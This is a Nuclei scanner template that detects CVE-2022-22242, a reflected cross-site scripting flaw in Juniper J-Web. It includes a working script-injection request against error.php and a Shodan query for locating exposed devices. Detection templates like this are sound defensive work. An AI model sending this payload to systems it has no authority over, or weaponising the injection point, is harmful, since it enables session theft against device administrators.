id: CVE-2022-22242

info:
  name: Juniper Web Device Manager - Cross-Site Scripting
  author: EvergreenCartoons
  severity: medium
  description: |
    Juniper Web Device Manager (J-Web) in Junos OS contains a cross-site scripting vulnerability. This can allow an unauthenticated attacker to run malicious scripts reflected off J-Web to the victim's browser in the context of their session within J-Web, which can allow the attacker to steal cookie-based authentication credentials and launch other attacks. This issue affects all versions prior to 19.1R3-S9; 19.2 versions prior to 19.2R3-S6; 19.3 versions prior to 19.3R3-S7; 19.4 versions prior to 19.4R2-S7, 19.4R3-S8; 20.1 versions prior to 20.1R3-S5; 20.2 versions prior to 20.2R3-S5; 20.3 versions prior to 20.3R3-S5; 20.4 versions prior to 20.4R3-S4; 21.1 versions prior to 21.1R3-S4; 21.2 versions prior to 21.2R3-S1; 21.3 versions prior to 21.3R3; 21.4 versions prior to 21.4R2; 22.1 versions prior to 22.1R2.
  remediation: |
    Apply the latest security patches or updates provided by Juniper Networks to mitigate this vulnerability.
  reference:
    - https://octagon.net/blog/2022/10/28/juniper-sslvpn-junos-rce-and-multiple-vulnerabilities/
    - https://supportportal.juniper.net/s/article/2022-10-Security-Bulletin-Junos-OS-Multiple-vulnerabilities-in-J-Web?language=en_US
    - https://kb.juniper.net/JSA69899
    - https://nvd.nist.gov/vuln/detail/CVE-2022-22242
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-22242
    cwe-id: CWE-79
    epss-score: 0.03521
    epss-percentile: 0.90481
    cpe: cpe:2.3:o:juniper:junos:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: juniper
    product: junos
    shodan-query: title:"Juniper Web Device Manager"
  tags: cve,cve2022,xss,juniper,junos

http:
  - method: GET
    path:
      - '{{BaseURL}}/error.php?SERVER_NAME=<script>alert(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "The requested resource is not authorized to view"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
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